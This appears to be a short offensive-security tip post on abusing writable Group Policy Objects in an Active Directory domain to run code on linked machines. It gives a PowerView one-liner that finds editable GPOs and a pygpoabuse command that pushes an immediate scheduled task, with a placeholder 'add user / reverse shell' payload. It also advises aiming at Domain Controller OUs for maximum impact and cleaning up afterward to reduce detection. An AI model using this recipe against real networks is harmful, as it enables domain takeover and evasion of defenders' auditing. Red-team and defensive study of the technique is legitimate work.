Abuse writable GPOs for code execution on an OU

Jul 14, 2026 · 1 min read

Find GPOs your principal can edit, then add an immediate scheduled task that runs your payload on linked machines at the next refresh.

bash

# identify writable GPOs and their links
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'Write'}

Push the task with a tool that edits the GPO safely.

bash

pygpoabuse.py dom/user:pass -gpo-id "{GUID}" -command "add user / reverse shell"

Pro note: target a GPO linked to a Domain Controllers or servers OU for the highest impact, but expect fast blue-team detection since GPO changes are audited. Set a specific target and clean up the task after execution to limit noise and collateral.